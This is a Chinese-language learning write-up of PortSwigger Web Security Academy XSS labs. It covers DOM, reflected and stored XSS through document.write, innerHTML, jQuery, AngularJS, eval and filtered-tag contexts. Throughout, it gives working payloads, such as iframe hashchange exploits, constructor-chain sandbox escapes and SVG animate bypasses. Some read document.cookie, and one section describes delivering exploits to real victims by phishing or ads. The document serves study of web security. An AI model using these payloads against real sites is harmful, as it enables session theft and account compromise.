<svg onload="alert(1)">
""> "
<section class="blog-list no-results"></section>
</svg>
多出来的">变成了普通文本。
Lab 4
DOM XSS in
document.writesink using sourcelocation.searchinside a select element在使用 select 元素内的 location.search 作为来源的 document.write 汇中存在 DOM XSS
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
https://0a97008504d37ea68058033100c600eb.web-security-academy.net/product?productId=4
虽然URL中现在没有参数 storeId,但是我们可以传入。
<select name="storeId">
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
看看传入的参数会不会在这里出现,确认出现后,就可以进行标签逃逸了。
https://0a97008504d37ea68058033100c600eb.web-security-academy.net/product?productId=4&storeId=</select><img src=1 onerror=alert('justki')>
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe. Event handlers such as onload and onerror can be used in conjunction with these elements. For example:
innerHTML sink在任何现代浏览器中都不接受script元素,而且svg的onload事件也不会触发。这意味着你需要使用替代元素,如img或iframe。可以将事件处理程序如onload和onerror与这些元素一起使用。例如:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'
Lab 5
DOM XSS in
innerHTMLsink using sourcelocation.search使用
innerHTML sink的DOM XSS,来源为location.search
<script>
function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
query 被直接写在了HTML正文中,而不是像上题一样,被写在属性中。
<img src=0 onerror=alert(1)>
Query 7 innerHTML 和 document.write 有啥区别
document.write (属性上下文)
原始代码:
<img src="/resources/images/tracker.gif?searchTerms=用户输入">
👉 你输入是被放在:
属性值内部(attribute context)
✔ 你必须做三步:
"><svg onload=alert(1)>
解析过程:
"→ 关闭属性>→ 结束<img><svg>→ 注入新标签
👉 这叫:
上下文逃逸(context breakout)
innerHTML (HTML上下文)
原始代码:
<div id="searchMessage">用户输入</div>
👉 你输入的位置是:
HTML正文(HTML context)
✔ 你直接写:
<svg onload=alert(1)>
👉 浏览器直接解析执行
同时,
- HTML 注入型 XSS(更危险)
document.write(...)
- 属性注入型 XSS(需要点击触发)
.attr("href", ...)
⚖️ 对比总结
| 点 | 这个题 | 之前那个 |
|---|---|---|
| Sink | href 属性 | document.write |
| 触发 | 点击 | 自动执行 |
| 类型 | DOM XSS | DOM XSS |
| 危险等级 | 中 | 高 |
Tip 12
Modern web applications are typically built using a number of third-party libraries and frameworks, which often provide additional functions and capabilities for developers. It’s important to remember that some of these are also potential sources and sinks for DOM XSS. 现代的网页应用通常使用多个第三方库和框架来构建,这些库和框架经常为开发者提供额外的功能和能力。需要注意的是,其中一些也可能是DOM XSS的来源和目标。
If a JavaScript library such as jQuery is being used, look out for sinks that can alter DOM elements on the page. For instance, jQuery’s attr() function can change the attributes of DOM elements. If data is read from a user-controlled source like the URL, then passed to the attr() function, then it may be possible to manipulate the value sent to cause XSS. For example, here we have some JavaScript that changes an anchor element’s href attribute using data from the URL:
如果正在使用像jQuery这样的JavaScript库,请注意那些可以更改页面上DOM元素的sink。例如,jQuery的attr()函数可以更改DOM元素的属性。如果数据是从用户控制的来源(如URL)读取,然后传递给attr()函数,那么可能会通过操纵传递的值来导致XSS。例如,这里有一些JavaScript代码,它使用来自URL的数据更改锚元素的href属性:
$(function() { $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl')); });
You can exploit this by modifying the URL so that the location.search source contains a malicious JavaScript URL. After the page’s JavaScript applies this malicious URL to the back link’s href, clicking on the back link will execute it:
你可以通过修改URL,使location.search源包含一个恶意的JavaScript URL来利用这一点。在页面的JavaScript将此恶意URL应用到返回链接的href属性后,点击返回链接就会执行它:
?returnUrl=javascript:alert(document.domain)
Lab 6
DOM XSS in jQuery anchor
hrefattribute sink usinglocation.searchsource使用
location.search作为来源,通过jQuery锚点href属性sink实现的DOM XSS
<a id="backLink" href="/">Back</a>
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
attr是 jQuery 里的一个核心 API,用于“读 / 写 HTML 元素的属性(attribute)”。
$是jQuery的前缀。
https://0a7800ae03e4620781e502b600650013.web-security-academy.net/feedback?returnPath=/
我们可以通过 URL 修改 returnpath,
https://0a87006e04c0d6f1813f256700d8001b.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)
然后这是交互型的(和document.write不一样),需要点击 <Back。
Another potential sink to look out for is jQuery’s $() selector function, which can be used to inject malicious objects into the DOM.
另一个需要注意的潜在漏洞是jQuery的$()选择器函数,它可以用来将恶意对象注入到DOM中。
jQuery used to be extremely popular, and a classic DOM XSS vulnerability was caused by websites using this selector in conjunction with the location.hash source for animations or auto-scrolling to a particular element on the page. This behavior was often implemented using a vulnerable hashchange event handler, similar to the following:
jQuery曾经非常流行,网站使用这种选择器结合location.hash来源来实现动画或自动滚动到页面特定元素时,会导致一个经典的DOM XSS漏洞。这种行为通常通过一个存在漏洞的hashchange事件处理程序来实现,例如以下类似代码:
$(window).on('hashchange', function() { var element = $(location.hash); element[0].scrollIntoView(); });
As the hash is user controllable, an attacker could use this to inject an XSS vector into the $() selector sink. More recent versions of jQuery have patched this particular vulnerability by preventing you from injecting HTML into a selector when the input begins with a hash character (#). However, you may still find vulnerable code in the wild.
由于哈希值是用户可控的,攻击者可以利用这一点将XSS向量注入到$()选择器的sink中。较新版本的jQuery已经通过阻止在输入以哈希字符(#)开头时向选择器中注入HTML来修复了这一特定漏洞。然而,你仍可能在野外发现存在漏洞的代码。
To actually exploit this classic vulnerability, you’ll need to find a way to trigger a hashchange event without user interaction. One of the simplest ways of doing this is to deliver your exploit via an iframe:
要实际利用这个经典漏洞,你需要找到一种在没有用户交互的情况下触发hashchange事件的方法。其中一种最简单的方式是通过iframe来交付你的利用代码:
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
Query 8 如果放在真实生活中,攻击者要如何让别人上钩呢
1️⃣ 攻击成立的必要条件
要触发这个漏洞,必须满足:
1. 受害者浏览器加载攻击者控制的页面 2. 页面中包含这个 iframe 3. iframe 指向目标站点(存在 DOM XSS) 4. onload 自动修改 hash → 触发 hashchange → 执行 payload👉 关键点:受害者不需要点击或交互
2️⃣ 攻击者如何“投递”这个 iframe
现实中主要有 4 类路径(这是你应该重点掌握的)
① 钓鱼页面(最常见)
攻击者做一个页面:
<html> <body> <iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'"> </iframe> </body> </html>然后通过:
- 邮件
- 社交平台
- 私信
让受害者访问这个页面
👉 一旦打开:
- iframe 自动加载
- payload 自动执行
② 广告 / 第三方嵌入(更隐蔽)
如果攻击者能控制:
- 广告投放
- 第三方 widget
- CDN 资源
就可以把 iframe 注入到:
- 正常网站
- 高流量页面
👉 用户只是浏览网页就会中招
③ 已存在的 XSS(链式攻击)
如果攻击者已经有一个普通 XSS:
<script> document.body.innerHTML = '<iframe ...>' </script>👉 可以用来加载这个 iframe
形成:
XSS → iframe → DOM XSS → 更高权限利用
④ 用户生成内容(Stored XSS 场景)
比如:
- 评论区
- 个人简介
- 富文本编辑器
攻击者提交:
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">👉 其他用户浏览页面时自动触发
3️⃣ 为什么这个攻击“很危险”
关键在这点:
不需要用户交互(no user interaction)相比:
- 点击链接
- 点击按钮
这种:
👉 只要加载页面就执行
In this example, the src attribute points to the vulnerable page with an empty hash value. When the iframe is loaded, an XSS vector is appended to the hash, causing the hashchange event to fire.
在此示例中,src属性指向一个具有空哈希值的易受攻击页面。当iframe加载时,会向哈希值追加一个XSS向量,从而触发hashchange事件。
[!NOTE]
Even newer versions of jQuery can still be vulnerable via the
$()selector sink, provided you have full control over its input from a source that doesn’t require a#prefix. 即使是较新的jQuery版本,只要你能完全控制来自不要求#前缀的输入,就可能通过$()选择器sink存在漏洞。
Lab 7
DOM XSS in jQuery selector sink using a hashchange event
DOM XSS 在 jQuery 选择器流域中使用哈希变换事件
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>“
$(window).on('hashchange', function(){监听 URL 的
#hash变化例如:
https://site.com/#hello在控制台中,可以通过
window.location.hash.slice(1)取出:
hello
用户输入(decodeURIComponent(window.location.hash.slice(1)))被不加处理地拼接进 jQuery 的选择器。
# 常被用于HTML书签
实验有一个要求:
To solve the lab, deliver an exploit to the victim that calls the
print()function in their browser. 向受害者提供一个利用漏洞的攻击,调用其浏览器中的print()函数。
所以要点击 横幅中的 Go to exploit server,在里面操作。也正是因为这个要求,所以不能直接在URL后面加 /#<img src=x onerror=print()>。
要让用户访问了“你做的页面”,你的页面里偷偷加载了目标网站(用 iframe),并利用目标网站自身的漏洞,让它自己执行了恶意代码。
<iframe
src="https://0ae300d0047f7b92800e035d00760092.web-security-academy.net/#"
onload="this.src+='<img src=x onerror=print()>'">
</iframe>
this 指的是 iframe 元素,this.src 也就是 iframe.src。
If a framework like AngularJS is used, it may be possible to execute JavaScript without angle brackets or events. When a site uses the ng-app attribute on an HTML element, it will be processed by AngularJS. In this case, AngularJS will execute JavaScript inside double curly braces that can occur directly in HTML or inside attributes.
如果使用像 AngularJS 这样的框架,可能可以在没有括号或事件的情况下执行 JavaScript。当网站在HTML元素上使用ng-app属性时,该属性将由AngularJS处理。在这种情况下,AngularJS 会在双大括号内执行 JavaScript,这些大括号可以直接出现在 HTML 或属性中。
Lab 8
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
用AngularJS表达式(带尖括号和双引号)HTML编码的DOM XSS
既然实验提示了我们,靶场使用了第三方框架AngularJS(一种JS框架),那么我们先简单了解一下。
[!TIP]
AngularJS 本质是一个前端框架(已过时,但漏洞场景很多),核心特点:
- 双向绑定(
{{ }})- 表达式执行(类似 JS,但不是完全 JS)
- DOM 自动渲染
👉 对你来说最关键一句话:
AngularJS 会“执行模板里的表达式”
先使用 {{1+1}},看结果是 2还是 1+1,如果是 2的话,说明双花括号内的内容会被解析,但是很明显,经过尝试,他不会去解析 alert(1),说明还是有一些限制的。
那么这里的重点其实在 constructor链,先看看使用:
'q'.constructor
ƒ String() { [native code] }
会发现他的作用和python中的 type有点一样,都是会返回对象的类型。再来看看这个:
constructor.constructor
ƒ Function() { [native code] }
说明我们已经拿到 function构造器了。
先补充一个知识点:
anonimous是匿名函数,仅用于调试。对比python中的lambda。
而
function anonimous(){
alert(1)
}
等价于
Function('alert(1)')
再补充一个,
()是 JavaScript 的函数调用运算符(call operator),作用是:执行前面那个函数。
所以最终的pyload是:
{{constructor.constructor('alert(1)')()}}
当然这就已经解决了,但是还是再提一下另外两种写法:
{{[].constructor.constructor('alert(1)')()}}
{{a='alert(1)'; [].constructor.constructor(a)()}}
对了,不一定是constructor.constructor,只要是$方法.constructor就行,因为 任何你能访问到的函数,都可以通过 .constructor 拿到 Function。
Query 9 他是怎么接收我的传参的
情况1:后端渲染(更常见)
服务器代码类似:
search = request.GET['search'] return f"<h1>0 search results for '{search}'</h1>"👉 页面直接就是拼好的 HTML
情况2:前端(AngularJS)读取
如果是 AngularJS:
可能会有类似代码:
var query = new URLSearchParams(window.location.search).get('search')然后绑定:
<h1>{{search}}</h1>
Tip 13
Some pure DOM-based vulnerabilities are self-contained within a single page. If a script reads some data from the URL and writes it to a dangerous sink, then the vulnerability is entirely client-side. 一些纯DOM漏洞是自包含在单一页面内的。如果脚本读取URL中的部分数据并写入危险的汇入处,那么漏洞完全存在于客户端。
However, sources aren’t limited to data that is directly exposed by browsers - they can also originate from the website. For example, websites often reflect URL parameters in the HTML response from the server. This is commonly associated with normal XSS, but it can also lead to reflected DOM XSS vulnerabilities. 然而,来源不仅限于浏览器直接暴露的数据——它们也可以来自网站。例如,网站通常会在服务器的HTML响应中反映URL参数。这通常与正常的XSS相关,但也可能导致DOM XSS的反作用。
Query 10 服务器的HTML响应是如何反映URL参数的
一、文本内容反射(最常见)
这是最基础、最普遍的形式:参数被插入到页面文本节点中
示例
<h1>Search results for: laptop</h1> <p>No results found for laptop</p>👉 URL:
/search?q=laptop特点
- 出现在标签内容里(text node)
- 不在属性中
- 通常会做 HTML 转义(安全)
常见场景
- 搜索页
- 错误提示页
- 空结果页
二、HTML 属性中反射(高频 + 更危险)
参数被放进标签属性里:
示例
<input type="text" value="laptop"> <a href="/search?q=laptop">Try again</a>👉 URL:
/search?q=laptop特点
- 出现在
value、href、title、alt等属性- 如果没转义 → 很容易变成 XSS
典型危险点
<input value="USER_INPUT">如果用户输入:
" onfocus=alert(1)👉 会直接闭合属性 → 注入事件
三、JavaScript 中反射(非常关键)
参数被嵌入
<script>里:示例
<script> var query = "laptop"; </script>👉 URL:
/search?q=laptop
特点
- 数据进入 JS 语境(JavaScript context)
- 转义规则完全不同(不是 HTML escape)
高危情况
<script> var query = "USER_INPUT"; </script>如果输入:
"; alert(1); //👉 直接逃逸字符串 → 执行 JS
四、DOM 元素内容(结合前端逻辑)
服务器只是“放进去”,前端再用:
示例
<div id="q">laptop</div> <script> var q = document.getElementById("q").textContent; </script>👉 这类就是你前面问的那种:
✔ 服务器反射 ✔ 前端再处理 ❗ 可能变成 DOM XSS
五、URL / 跳转相关位置
参数被用于构造链接:
示例
<a href="/next?redirect=dashboard">Continue</a>👉 URL:
/login?redirect=dashboard
风险点
如果没校验:
/login?redirect=javascript:alert(1)👉 可能变成:
<a href="javascript:alert(1)">
六、meta / data 属性 / JSON 数据块
现代前端很常见:
示例 1:data 属性
<div data-query="laptop"></div>
示例 2:JSON 注入
<script type="application/json"> { "query": "laptop" } </script>
特点
- 看起来“无害”
- 但前端 JS 解析后可能进入危险 sink
七、模板渲染(SSR 框架常见)
例如:
<div id="app"> {{ query }} </div>最终 HTML:
<div id="app">laptop</div>👉 React / Vue / SSR 渲染后,本质还是“反射到 HTML”
🧠 总结一张结构图
所有“反映 URL 参数”的本质就是:
URL 参数 ↓ 服务器解析 ↓ 插入 HTML 的某个位置(sink)
In a reflected DOM XSS vulnerability, the server processes data from the request, and echoes the data into the response. The reflected data might be placed into a JavaScript string literal, or a data item within the DOM, such as a form field. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink. 在反映的DOM XSS漏洞中,服务器处理请求数据,并将数据回放到响应中。反射数据可以被放入JavaScript字符串文字,或DOM中的数据项,如表单字段。页面上的脚本随后以不安全的方式处理反射数据,最终将其写入危险的合成槽。
eval('var data = "reflected string"');
Lab 9
Reflected DOM XSS
反射 DOM XSS
先提一下前置知识:
表达式求值顺序 ==> 先求左操作数,再求右操作数,最后执行运算。
<script src="/resources/js/searchResults.js"></script>
先随意传入一些数据,查看响应:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 34
{"results":[],"searchTerm":"111"}
所以构造:
\"-alert('justki')}//
效果如下:
{
"results":[],
"searchTerm":"\"-alert('justki')
} //"}
就像前置知识点里面说的那样, - 是为了语法正确,让 alert('justki') 能够被执行。因为减法是在他之后进行的,而且我们并不关心减法是否能够正常执行,我们的目的是 alert('justki') 被执行,alert('justki') 在减法之前就执行了。
再说说 \" 吧,当JSON回复转义 " 时,它会添加第二个 \,这使得 " 被处理为非转义。
当然,这样也是可以的,更加简单粗暴:
\"}; alert(1); //
其实本质上就是逃逸。
Query 11 反射型DOM XSS是个啥命名
① 按“数据来源/传播方式”分
- 反射型 XSS(Reflected XSS)
- 输入 → 请求 → 服务器响应 → 立刻返回页面
- 不存储
② 按“执行位置”分
- DOM XSS
- 漏洞触发点在浏览器 JS(不是服务器模板)
- JS 代码自己把数据变成可执行内容
👉 这两个维度是正交的(可以同时存在)
Query 12 这道题代码审计很重要吗?感觉直接看响应,然后思考怎么做json逃逸也可以做出来
🧭 一、你说的做法(黑盒打法)
流程是:
抓包 → 看 response 是 JSON → 尝试闭合字符串 → 构造 payload例如你看到:
{"searchTerm":"test","results":[]}就会想到:
\"-alert(1)}//✔ 可以成功利用、在靶场里很高效
🧠 但问题是:你其实在“猜执行方式”
你默认了:
这个 JSON 会被当 JS 执行但你没有证据
🧭 二、代码审计能给你的“确定性”
看这句:
eval('var searchResultsObj = ' + this.responseText);👉 这一步直接告诉你:
responseText → 被当 JS 执行不是 HTML、不是 DOM、不是字符串
👉 是 代码执行
如果遇到:
JSON.parse(responseText)👉 那:
\"-alert(1)}//❌ 完全没用
或者:
innerText = responseText👉 也打不了
或者:
eval("(" + responseText + ")")👉 payload 要完全不同
👉 这些区别你只能通过代码看出来
🧠 三、这题真正想训练你的点
不是“会不会 JSON 逃逸”,而是:
🔥 识别危险 sink:eval
真正高效的流程应该是:
1. 看 Network → 确认数据结构 2. 看 JS → 确认 sink(eval / innerHTML / 等) 3. 决定 payload 类型
① JavaScript 执行型(最危险)
数据被当成 JS 代码 执行
典型 sink
eval(userInput) new Function(userInput) setTimeout(userInput, 0) setInterval(userInput, 0)payload 思路
JS 注入(语句/表达式级) ";alert(1);// \"-alert(1)}//
② HTML 解析型
数据被当成 HTML 片段解析
典型 sink
element.innerHTML = userInput document.write(userInput) element.insertAdjacentHTML(...)payload 思路
标签/事件注入 <img src=x onerror=alert(1)> <svg onload=alert(1)>
③ 属性注入型(Attribute Context)
数据进入标签属性
典型 sink
setAttribute("value", userInput) setAttribute("title", userInput)或模板中:
<input value="USER_INPUT">payload 思路
" onfocus=alert(1) x="👉 本质:闭合属性 → 注入事件
④ URL / 跳转型
数据进入
href / src / location典型 sink
location = userInput a.href = userInput iframe.src = userInputpayload 思路
javascript:alert(1)
⑤ DOM API 间接执行
看起来“安全”,但会触发解析
典型 sink
element.outerHTML = ... range.createContextualFragment(...)👉 本质还是 HTML 解析型
⑥ 模板 / 框架渲染型
前端框架把数据当模板解析
典型 sink
v-html(Vue) dangerouslySetInnerHTML(React)payload 思路
同 HTML 注入
⑦ 事件处理器(JS 代码上下文)
数据进入 JS 代码字符串
典型 sink
onclick="USER_INPUT"或:
setAttribute("onclick", userInput)payload 思路
alert(1)(因为本身就在 JS 里)
Websites may also store data on the server and reflect it elsewhere. In a stored DOM XSS vulnerability, the server receives data from one request, stores it, and then includes the data in a later response. A script within the later response contains a sink which then processes the data in an unsafe way. 网站也可能将数据存储在服务器上,并将其反映在其他地方。在存储的DOM XSS漏洞中,服务器接收一个请求的数据,将其存储,然后在后续响应中包含该数据。后期响应中的脚本包含一个汇入,然后以不安全的方式处理数据。
element.innerHTML = comment.author
Lab 10
Stored DOM XSS
存储型 DOM XSS
在元素中查看写入的评论,
<p>111</p>
既然被写在HTML正文中,那我们只要写进去就可以了。
那就一定要用到 <>,但是,
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
尽管用替换,但是,他只替换了一次,所以
<><img src=1 onerror=alert('justki')>
当然,再看看js文件,其实应该要先看见这个的😅😅😅
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement);
}
使用了 innerHTML,才是最大的败笔,replace只是无畏的挣扎。
Query 13 为什么这题会有DOM的属性
类型 数据变成 HTML 的地方 传统存储型 XSS 服务器模板 DOM XSS 浏览器 JS(innerHTML 等) 之所以有 DOM 属性(DOM XSS),是因为:
👉 数据是在前端 JavaScript 中,通过 DOM API(innerHTML / setAttribute)被解析执行的
这道题的实际路径是:
用户输入 ↓ 数据库存储 ✔(存储型特征) ↓ 服务器返回 JSON(不是 HTML) ↓ 前端 JS(displayComments) ↓ innerHTML 💥 ↓ 浏览器解析
Tip 14
The following are some of the main sinks that can lead to DOM-XSS vulnerabilities: 以下是可能导致 DOM-XSS 漏洞的主要一些问题:
document.write() document.writeln() document.domain element.innerHTML element.outerHTML element.insertAdjacentHTML element.onevent
The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities: 以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的汇入:
add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML()
In addition to the general measures described on the DOM-based vulnerabilities page, you should avoid allowing data from any untrusted source to be dynamically written to the HTML document. 除了DOM漏洞页面中描述的一般措施外,你还应避免允许任何不受信任来源的数据动态写入HTML文档。
Query 14 数据可以通过那些方式动态写入HTML文档
三大解析器
类型 API HTML解析器 innerHTML / write JS引擎 eval / setTimeout URL解析器 href / location 看到这些就要警觉:
innerHTML outerHTML document.write insertAdjacentHTML eval setTimeout("...") setAttribute("href") location =❗所谓“动态写入 HTML 文档”,本质就是:
👉 把字符串交给 HTML / JS / URL 解析器
写完这个问题才发现,还是自己太蠢了😭😭😭,其实这就是 确认 sink 嘛。
Tip 15
When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript. 当XSS上下文是HTML标签之间的文本时,你需要引入一些新的HTML标签,设计用来触发JavaScript的执行。
Lab 11
Reflected XSS into HTML context with most tags and attributes blocked
将 XSS映射到 HTML上下文中,大部分标签和属性被屏蔽
正如实验名称,使用了WAF,很多标签被列入黑名单了,比如:
GET /?search=<img src=1 onerror=alert()> HTTP/2
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 20
"Tag is not allowed"
所以我们使用官方提供的字典跑一跑,看看有没有落网之鱼:
发现 <body>标签可用,再跑跑,发现onrisize事件可用,所以:
<iframe src="https://0a3c00b904bf0c6d8040d5c200ba0030.web-security-academy.net/?search="><body onresize=print()>" onload=this.style.width='100px'>
Query 15 为什么 "> 能闭合标签,好像没有也可以成功
Lab 12
Reflected XSS into HTML context with all tags blocked except custom ones
将XSS反映到HTML上下文中,所有标签都被屏蔽,除了自定义标签
<script>
location = 'https://0ace00320447858b80f90341002e007c.web-security-academy.net/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>
1️⃣ 外层 <script>:主动跳转注入
<script>
location = 'https://.../?search=...#x';
</script>
这里不是直接在当前页面执行 XSS,而是:
- 利用
location进行 客户端重定向 - 把恶意 payload 塞进目标站点的
search参数 - 同时附带
#x(URL fragment)
👉 本质:用你的页面作为“发射器”,去攻击目标站
2️⃣ 注入点:search 参数
?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>
假设目标站存在类似:
document.write(query)
或:
innerHTML = query
👉 那么这段 HTML 会被直接插入 DOM
3️⃣ 为什么用 <xss> 标签?
<xss ...>
这是关键点之一:
<xss>是 自定义标签(非法但浏览器仍解析)- 可以绕过一些过滤,比如:
- 只过滤
<script> - 白名单标签限制不严
- 只过滤
👉 浏览器规则: 未知标签 ≠ 无效标签,而是普通 DOM 元素
4️⃣ id=x + #x:触发焦点
id=x
...
#x
URL 末尾:
#x
👉 浏览器行为:
- 页面加载后自动定位到
id="x"的元素 - 某些情况下会触发焦点(尤其配合 tabindex)
5️⃣ tabindex=1:让元素可聚焦
tabindex=1
默认情况下:
<div>/<xss>这种元素 不能获得焦点
加了 tabindex 后:
- 元素变成 可聚焦(focusable)
6️⃣ onfocus=alert(document.cookie):执行点
onfocus=alert(document.cookie)
当元素获得焦点时:
- 自动触发 JS
- 执行 payload
🔥 整体执行链(重点)
完整流程是:
-
你的
<script>触发跳转 -
目标站读取
search参数并写入 DOM -
插入:
<xss id=x tabindex=1 onfocus=alert(document.cookie)> -
URL 中的:
#x- 定位该元素
- 浏览器尝试聚焦
-
onfocus被触发 -
执行 XSS
Query 16 为什么这里不用 iframe 了
Lab 13
Reflected XSS with event handlers and
hrefattributes blocked带事件处理程序和 href 属性被阻挡的 Reflected XSS
<form action="/" method="GET">
<input type="text" placeholder="Search the blog..." name="search">
<button type="submit" class="button">Search</button>
</form>
不知道从这里可以判断出啥,先放着,也许后面对比这些题目的时候,会成为一个区别其他题目的依据。
标签 和 事件 的选用,都是通过跑BP,测出来的。
https://0a150015042a141b81ffdaf20022004f.web-security-academy.net/?search=<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>
<svg>
<a>
<animate attributeName=href values=javascript:alert(1) />
<text>Click me</text>
</a>
</svg>
x=20 y=20 只是坐标,使得文字能够在svg框内。
① <svg>
👉 进入 SVG 命名空间 → 绕过 HTML 标签过滤
② <a>
👉 SVG 里也有 <a>,类似链接
③ <animate>(关键点)
<animate attributeName=href values=javascript:alert(1)>
👉 含义:
把
<a>的href动态改成javascript:alert(1)
④ <text>Click me
👉 页面上显示一个“按钮”
6️⃣ 执行链(这题的本质)
SVG 注入
→ animate 修改 href
→ <a> 变成 javascript: URL
→ 用户点击
→ 执行 alert(1)
7️⃣ 为什么必须用 animate(重点)
因为:
| 方法 | 为什么不行 |
|---|---|
<a href="javascript:..."> | ❌ 被过滤 |
onclick= | ❌ 被过滤 |
<script> | ❌ 被过滤 |
Lab 14
Reflected XSS with some SVG markup allowed
反射XSS,允许部分SVG标记
https://0ac80013048cb090806b03eb0017001d.h1-web-security-academy.net/?search="><svg><animatetransform onbegin=alert(1)>
标签:
animatetransform
image
svg
title
事件:
onbegin
不理解,明明没有 "> 也可以。
Tip 16
When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example: 当XSS上下文包含HTML标签属性值时,有时你可以终止该属性值,关闭标签,然后引入新的标签。例如:
"><script>alert(document.domain)</script>
More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example: 更常见的是,角括号会被阻挡或编码,这样你的输入就无法脱离它所在的标签。只要你能终止属性值,通常可以引入一个新的属性来创建脚本化上下文,比如事件处理程序。例如:
" autofocus onfocus=alert(document.domain) x="
The above payload creates an onfocus event that will execute JavaScript when the element receives the focus, and also adds the autofocus attribute to try to trigger the onfocus event automatically without any user interaction. Finally, it adds x=" to gracefully repair the following markup.
上述载荷创建了一个聚焦事件,当元素接收到焦点时会执行JavaScript,同时添加自动聚焦属性,尝试在无需用户操作的情况下自动触发焦点聚焦事件。最后,它加上 x=“,以优雅地修复后续的标记。
Lab 15
Reflected XSS into attribute with angle brackets HTML-encoded
用HTML编码的角括号将XSS反射到属性中
<section class="blog-header">
<h1>0 search results for 'justki'</h1>
<hr>
</section>
<form action="/" method="GET">
<input type="text" placeholder="Search the blog..." name="search" value="justki">
<button type="submit" class="button">Search</button>
</form>
第一处只是纯文本,不会被执行。
?search="onmouseover="alert('justki')
onmouseover 是一个 DOM 事件属性,表示:当鼠标指针移动到某个元素上方时触发的事件。
Sometimes the XSS context is into a type of HTML tag attribute that itself can create a scriptable context. Here, you can execute JavaScript without needing to terminate the attribute value. For example, if the XSS context is into the href attribute of an anchor tag, you can use the javascript pseudo-protocol to execute script. For example:
有时 XSS 上下文会嵌入某种 HTML 标签属性,而该属性本身可以创建可脚本化的上下文。在这里,你可以执行JavaScript而无需终止属性值。例如,如果 XSS 上下文位于锚点标签的 href 属性中,你可以使用 JavaScript 伪协议来执行脚本。例如:
<a href="javascript:alert(document.domain)">
Lab 16
Stored XSS into anchor
hrefattribute with double quotes HTML-encoded将XSS存储到锚点href属性中,并用HTML编码的双引号
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="www.4399.com">justki</a> | 30 April 2026
</p>
开发者的想法是,让用户点击评论者的名字可以跳转到其网站,但是实际并不是这样,因为其网站被直接跟在了原URL后面,变成了相对路径,但这又恰好使得我们可以执行js:
https://0a1600210327dd1b80fe0304003b0065.web-security-academy.net/www.4399.com
所以:
csrf=OXiUWmx3JscMIp8YuW2cPHuDxy07nA89&postId=9&comment=fake+comment&name=fake+name&email=111%4011&website=javascript:alert('justki')
当然,要在BP中进行修改,因为前端有进行格式限制。
You might encounter websites that encode angle brackets but still allow you to inject attributes. Sometimes, these injections are possible even within tags that don’t usually fire events automatically, such as a canonical tag. You can exploit this behavior using access keys and user interaction on Chrome. Access keys allow you to provide keyboard shortcuts that reference a specific element. The accesskey attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire. In the next lab you can experiment with access keys and exploit a canonical tag. You can exploit XSS in hidden input fields using a technique invented by PortSwigger Research.
你可能会遇到一些网站编码了角括号,但仍然允许注入属性。有时,这些注入甚至可能发生在通常不会自动触发事件的标签中,比如正规标签。你可以利用访问密钥和Chrome用户交互来利用这种行为。访问键允许你提供指向特定元素的快捷键。accesskey属性允许你定义一个字母,当它与其他按键(不同平台不同)组合时,触发事件。在下一个实验室,你可以尝试使用访问密钥并利用一个规范标签。你可以利用PortSwigger研究发明的技术,在隐藏输入字段中利用XSS。
Lab 17
Reflected XSS in canonical link tag
规范链接标签中反映的XSS
为什么会想到自己传一个参数呢?
https://0a94006304cd2c74803917cc00d10038.web-security-academy.net/?accesskey='x'
<link rel="canonical" href="https://0a94006304cd2c74803917cc00d10038.web-security-academy.net/?accesskey=" x''="">
哎,咋和看到的不一样呢?

https://0a94006304cd2c74803917cc00d10038.web-security-academy.net/?'accesskey='x'onclick='alert(1)
Tip 17
When the XSS context is some existing JavaScript within the response, a wide variety of situations can arise, with different techniques necessary to perform a successful exploit. 当XSS上下文是响应中已有的JavaScript时,可能出现各种情况,成功利用需要不同技术。
Terminating the existing script 终止现有脚本
